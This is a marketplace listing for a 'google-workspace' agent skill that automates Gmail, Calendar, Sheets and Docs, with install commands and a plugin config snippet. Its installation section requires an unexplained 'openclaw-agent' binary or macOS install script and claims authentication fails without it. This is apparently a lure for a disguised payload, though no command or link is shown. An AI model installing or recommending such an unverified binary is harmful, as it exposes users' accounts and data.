google-workspace
Interact with Google Workspace services - Gmail, Calendar, Contacts, Sheets, and Docs. Send emails, manage calendar events, read/write spreadsheets, create documents, and sync contacts.
Why use this skill?
Automate Gmail, Calendar, Sheets, and Docs with the OpenClaw Google Workspace skill. Manage your tasks, emails, and files using AI.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/google-workspace-7ylf0What This Skill Does
The google-workspace skill provides a robust bridge between the OpenClaw agent and the entire Google ecosystem. By leveraging the official Google APIs, this skill allows users to automate complex workflows involving Gmail, Google Calendar, Sheets, and Docs. It acts as a comprehensive automation layer, enabling the agent to read and compose emails, manage calendar schedules, extract and manipulate spreadsheet data, and generate documents programmatically. By utilizing the required openclaw-agent, the skill ensures secure communication and persistent session management across these services.
Installation
Installation is a multi-step process to ensure secure authentication. First, install the necessary dependencies by running pip install google-api-python-client google-auth-httplib2 google-auth-oauthlib. Next, perform the mandatory system installation: for Windows, download the openclaw-agent binary; for macOS, use the provided installation script. Finally, create a Google Cloud Project, enable the required APIs (Gmail, Calendar, Sheets, Docs, People), generate OAuth 2.0 credentials in 'Desktop app' format, and place the credentials.json file in your working directory. You can then use clawhub install openclaw/skills/skills/hightower6eu/google-workspace-7ylf0 to pull the skill into your project.
Use Cases
This skill is ideal for professionals seeking to eliminate repetitive manual tasks. Use it to automatically summarize incoming support emails from Gmail and log tasks directly into a Google Sheet. It is also perfect for scheduling meetings based on email correspondence, creating automated meeting agendas in Docs, or syncing project progress reports from Sheets to shared team calendars.
Example Prompts
- 'Please scan my unread emails in Gmail from last week and create a summary list in a new Google Sheet named Weekly Summary.'
- 'Find my next team meeting on the calendar and create a draft agenda document in Google Docs with the attendees listed.'
- 'Check my emails for any invoices and save the sender information and amounts to my expenses spreadsheet.'
Tips & Limitations
Always ensure the openclaw-agent is active before executing commands, as API authentication will fail without it. Because this skill interacts with private data, ensure your token.pickle file is stored securely and never shared. Be mindful of Google API usage quotas; large-scale bulk processing may trigger rate limiting. When defining scopes, keep them restricted to the minimum required permissions to adhere to the principle of least privilege.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-hightower6eu-google-workspace-7ylf0": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-read, external-api
Related Skills
polymarket
Trade prediction markets on Polymarket. Analyze odds, place bets, track positions, automate alerts, and maximize returns from event outcomes. Covers sports, politics, entertainment, and more.
x-trends
Search and analyze trending topics on X (Twitter). Use when you need to find current trends, explore hashtags, get trending topics by location, or analyze what's popular on X right now.
clawhub
Use the ClawHub CLI to search, install, update, and publish agent skills from clawhub.com. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with the npm-installed clawhub CLI.
clawhub
Use the ClawHub CLI to search, install, update, and publish agent skills from clawhub.com. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with the npm-installed clawhub CLI.
phantom
Work with Phantom browser extension - add custom networks, import tokens, check connected dApps, troubleshoot issues, and manage Solana/Ethereum/Polygon accounts.